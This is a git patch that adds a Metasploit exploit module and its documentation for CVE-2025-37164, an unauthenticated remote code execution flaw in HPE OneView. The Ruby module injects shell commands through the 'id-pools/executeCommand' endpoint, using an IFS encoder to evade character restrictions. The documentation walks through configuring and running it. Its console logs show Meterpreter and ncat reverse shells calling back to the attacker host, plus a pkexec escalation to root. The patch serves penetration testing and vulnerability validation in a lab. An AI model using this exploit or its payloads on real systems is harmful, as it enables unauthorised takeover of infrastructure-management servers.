From a4dba967122de40dc3e4cba554dc4fa2be73ca48 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 19 Dec 2025 15:30:53 +0000 Subject: [PATCH] add in the HPE OneView exploit --- .../exploit/linux/http/hpe_oneview_rce.md | 248 ++++++++++++++++++ .../exploits/linux/http/hpe_oneview_rce.rb | 156 +++++++++++ 2 files changed, 404 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/hpe_oneview_rce.md create mode 100644 modules/exploits/linux/http/hpe_oneview_rce.rb diff --git a/documentation/modules/exploit/linux/http/hpe_oneview_rce.md b/documentation/modules/exploit/linux/http/hpe_oneview_rce.md new file mode 100644 index 0000000000..fbe7ce1df2 --- /dev/null +++ b/documentation/modules/exploit/linux/http/hpe_oneview_rce.md @@ -0,0 +1,248 @@ +## Vulnerable Application +This module exploits an unauthenticated RCE vulnerability, CVE-2025-37164, against Hewlett Packard Enterprise (HPE) +OneView. All versions below 11.00 are vulnerable (so long as the vendor supplied hotfix has not been applied), however +some VM product versions do not enable the vulnerable "ID Pools" endpoint, and are not exploitable. + +## Testing +Download a suitable VM image of HPE OneView, for example `HPE_OneView_6.60.07_Hyper_V_Z7550-97750.zip`. Extract +the contents and import the VM into HyperV. Assign a network adapter to an interface that will offer DHCP (although you +can also manually configure the appliances IP address later during setup). You will need around 150 GB of storage and +24 GB of RAM. Once the VM has fully booted (first boot takes at least 5 minutes) you can visit the administration web +interface at `https://TARGET_IP_ADDRESS/`. The default username is `Administrator` and the default password is `admin`. +Upon first login you will change those. No further configuration is needed at this point. + +## Verification Steps + +1. Start msfconsole +2. `use exploit/linux/http/hpe_oneview_rce` + +Configure the target: + +3. `set RHOST ` +4. `set RPORT ` (If different from the default of 443) +5. `set SSL true` (Or set to false if targeting HTTP) + +Configure the payload to execute: + +6. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp` +7. `set RHOST eth0` +8. `set RPORT 4444` + +_Note_: These payloads have been verified to work against HPE OneView version `6.60.07`: +* `cmd/linux/http/x64/meterpreter_reverse_tcp` +* `cmd/unix/reverse_ncat_ssl` + +Run the module: + +9. `check` +10. `exploit` + +## Scenarios + +### Example 1 + +This example shows a `cmd/linux/http/x64/meterpreter_reverse_tcp` payload being used against HPE OneView +version `6.60.07`. + +``` +msf > use exploit/linux/http/hpe_oneview_rce +[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp +msf exploit(linux/http/hpe_oneview_rce) > set RHOST 192.168.86.141 +RHOST => 192.168.86.141 +msf exploit(linux/http/hpe_oneview_rce) > set LHOST eth0 +LHOST => eth0 +msf exploit(linux/http/hpe_oneview_rce) > show options + +Module options (exploit/linux/http/hpe_oneview_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni, socks4, socks5, socks5 + h + RHOSTS 192.168.86.141 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes Base path + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python varia + nt also Python ≥3.8 (Accepted: none, bash, python3.8+) + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + When FETCH_COMMAND is one of CURL,GET,WGET: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell. + + + When FETCH_FILELESS is none: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_FILENAME GJCYDdyrrpbD no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces + + +Exploit target: + + Id Name + -- ---- + 0 Default + + + +View the full module info with the info, or info -d command. + +msf exploit(linux/http/hpe_oneview_rce) > check +[+] 192.168.86.141:443 - The target is vulnerable. Detected HPE OneView version 6.60 (API version 3800). +msf exploit(linux/http/hpe_oneview_rce) > exploit +[*] Started reverse TCP handler on 192.168.86.122:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Detected HPE OneView version 6.60 (API version 3800). +[*] Meterpreter session 1 opened (192.168.86.122:4444 -> 192.168.86.141:22164) at 2025-12-19 12:21:36 +0000 + +meterpreter > getuid +Server username: trm3 +meterpreter > sysinfo +Computer : 192.168.86.141 +OS : Red Hat 7.7.1908 (Linux 3.10.0-1062.1.2.el7.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > pwd +/ci/jetty-trm3 +meterpreter > +``` + +### Example 2 + +This example shows a `cmd/unix/reverse_ncat_ssl` payload being used against HPE OneView version `6.60.07`. + +``` +msf exploit(linux/http/hpe_oneview_rce) > set PAYLOAD cmd/unix/reverse_ncat_ssl +PAYLOAD => cmd/unix/reverse_ncat_ssl +msf exploit(linux/http/hpe_oneview_rce) > show options + +Module options (exploit/linux/http/hpe_oneview_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni, socks4, socks5, socks5 + h + RHOSTS 192.168.86.141 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes Base path + VHOST no HTTP server virtual host + + +Payload options (cmd/unix/reverse_ncat_ssl): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Default + + + +View the full module info with the info, or info -d command. + +msf exploit(linux/http/hpe_oneview_rce) > exploit +[*] Started reverse SSL handler on 192.168.86.122:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Detected HPE OneView version 6.60 (API version 3800). +[*] Command shell session 2 opened (192.168.86.122:4444 -> 192.168.86.141:22420) at 2025-12-19 12:22:58 +0000 + +id +uid=1063(trm3) gid=1063(trm3) groups=1063(trm3),1000(logs),1001(trmall),1002(trustedrm),1004(cryptogrp),1009(maintpwd),1050(jetty) context=system_u:system_r:unconfined_t:s0 +uname -a +Linux ci-00155d5622a2 3.10.0-1062.1.2.el7.x86_64 #1 SMP Mon Sep 30 14:19:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux +pwd +/ci/jetty-trm3 +``` + +### Example 3 (LPE) + +This example shows how we can use an existing Meterpreter session on an HPE OneView version `6.60.07` device, to +escalate privileges to root via the `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` module. + +``` +msf exploit(linux/http/hpe_oneview_rce) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +msf exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > show options + +Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PKEXEC_PATH no The path to pkexec binary + SESSION yes The session to run this module on + WRITABLE_DIR /tmp yes A directory where we can write files + + +Payload options (linux/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.86.122 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 x86_64 + + + +View the full module info with the info, or info -d command. + +msf exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set SESSION -1 +SESSION => -1 +msf exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > check +[!] Verify cleanup of /tmp/.iqdxjnbz +[+] The target is vulnerable. +msf exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > exploit +[*] Started reverse TCP handler on 192.168.86.122:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] Verify cleanup of /tmp/.bhynibsojtwt +[+] The target is vulnerable. +[*] Writing '/tmp/.nnxtulq/gnrxtl/gnrxtl.so' (540 bytes) ... +[!] Verify cleanup of /tmp/.nnxtulq +[*] Sending stage (3090404 bytes) to 192.168.86.141 +[+] Deleted /tmp/.nnxtulq/gnrxtl/gnrxtl.so +[+] Deleted /tmp/.nnxtulq/.rmlacsp +[+] Deleted /tmp/.nnxtulq +[*] Meterpreter session 7 opened (192.168.86.122:4444 -> 192.168.86.141:30172) at 2025-12-19 12:58:51 +0000 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.86.141 +OS : Red Hat 7.7.1908 (Linux 3.10.0-1062.1.2.el7.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/hpe_oneview_rce.rb b/modules/exploits/linux/http/hpe_oneview_rce.rb new file mode 100644 index 0000000000..3e21ed045f --- /dev/null +++ b/modules/exploits/linux/http/hpe_oneview_rce.rb @@ -0,0 +1,156 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HPE OneView unauthenticated RCE', + 'Description' => %q{ + This module exploits an unauthenticated RCE vulnerability, CVE-2025-37164, against Hewlett Packard Enterprise + (HPE) OneView. All versions below 11.00 are vulnerable (so long as the vendor supplied hotfix has not been + applied), however some VM product versions do not enable the vulnerable "ID Pools" endpoint, and are not + exploitable. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + # Original finder + 'Nguyen Quoc Khanh', + # Analysis and exploit + 'remmons-r7', + 'sfewer-r7' + ], + 'References' => [ + ['CVE', '2025-37164'], + # Vendor advisory + ['URL', 'https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbgn04985en_us&docLocale=en_US'], + # Rapid7 ETR blog + ['URL', 'https://www.rapid7.com/blog/post/etr-cve-2025-37164-critical-unauthenticated-rce-affecting-hewlett-packard-enterprise-oneview/'] + ], + 'DisclosureDate' => '2025-12-16', + 'Privileged' => false, # Executes as trm3. + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + # Successfully tested with the following payloads against OneView 6.60.07: + # cmd/unix/reverse_ncat_ssl + # cmd/linux/http/x64/meterpreter_reverse_tcp + 'Default', { + 'Payload' => { + 'BadChars' => '"\' ', + 'Encoder' => 'cmd/ifs' + }, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' + } + } + ], + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([OptString.new('TARGETURI', [true, 'Base path', '/'])]) + end + + def check + # We can pull out the current REST API version number and correlate it back to a major.minor product number + # based on known values. This is informational only, the check routine will leverage the vulnerability to + # identify if the target si actually vulnerable. This is due to the vulnerability not being present on + # some VM versions due to the ID Pool endpoints being disabled. + res_ver = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'rest', 'appliance', 'version') + ) + + return CheckCode::Unknown('Connection to /rest/appliance/version failed') unless res_ver + + return CheckCode::Unknown("Unexpected /rest/appliance/version response code #{res_ver.code}") unless res_ver.code == 200 + + json_ver = JSON.parse(res_ver.body) + + version_string = 'Detected ' + version_string += json_ver['modelNumber'] || 'HPE OneView' + version_string += ' version ' + version_string += json_ver['softwareVersion'] || 'unknown' + + # We leverage the command execution vulnerability to execute a benign command. We test that this command executed + # successfully below. Note, we aren't checking the stdout, so we cannot do a proof-of-execution check like + # "echo $((1+2))" and then test for the result of "3". + cmd = "echo #{SecureRandom.uuid}" + + res = execute_cmd(cmd, shell: false) + + return CheckCode::Unknown('Connection failed') unless res + + # The vendor hotfix adds an HTTP rewrite rule to force the target endpoint as 404. + # Some Virtual Machine based product versions don't support ID Pools, so report 404 for the missing endpoint. + return CheckCode::Safe("#{version_string}. Target endpoint returned response code #{res.code}") if res.code == 404 + + return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200 + + j = JSON.parse(res.body) + + return Exploit::CheckCode::Vulnerable(version_string) if (j['type'] == 'ExecutableCommand') && (j['cmd'] == cmd) && (j['result'] == true) + + CheckCode::Unknown('Unexpected JSON results') + rescue JSON::ParserError + return CheckCode::Unknown('Failed to parse JSON body') + end + + def exploit + res = execute_cmd(payload.encoded, shell: true) + + fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed') unless res + + fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200 + + j = JSON.parse(res.body) + + fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Response is not of type ExecutableCommand') if j['type'] != 'ExecutableCommand' + + # If Runtime.getRuntime().exec succeeds, the "result" will be true. If an IOException was thrown, this is caught and + # the "result" will be false. So we can use this to see if our payload command executed successfully or not. + # We dont fail_with() but rather print_warning() in case the payload executed before the failure + # occurred (i.e. during cleanup). + if j['result'] == false + print_warning('Command execution returned a result of false, likely due to an unexpected IOException server-side') + end + rescue JSON::ParserError + fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to parse JSON body') + end + + def execute_cmd(cmd, shell:) + send_request_cgi( + 'method' => 'PUT', + 'uri' => normalize_uri(target_uri.path, 'rest', 'id-pools', 'executeCommand'), + 'ctype' => 'application/json', + 'data' => { + # As this is in JSON, we cannot have " or ' characters. We mark these as BadChars so Metasploit will use an + # encoder to avoid them. To shell out to /bin/sh -c we need to wrap the arguments in quotes. As we cannot do + # this, we also mark a white space as a BadChar, and use the IFS encoder to encode them. This lets us use + # arbitrary Metasploit command payloads successfully via an unquoted /bin/sh -c PAYLOAD + 'cmd' => shell ? "sh -c #{cmd}" : cmd, + 'result' => false + }.to_json + ) + end +end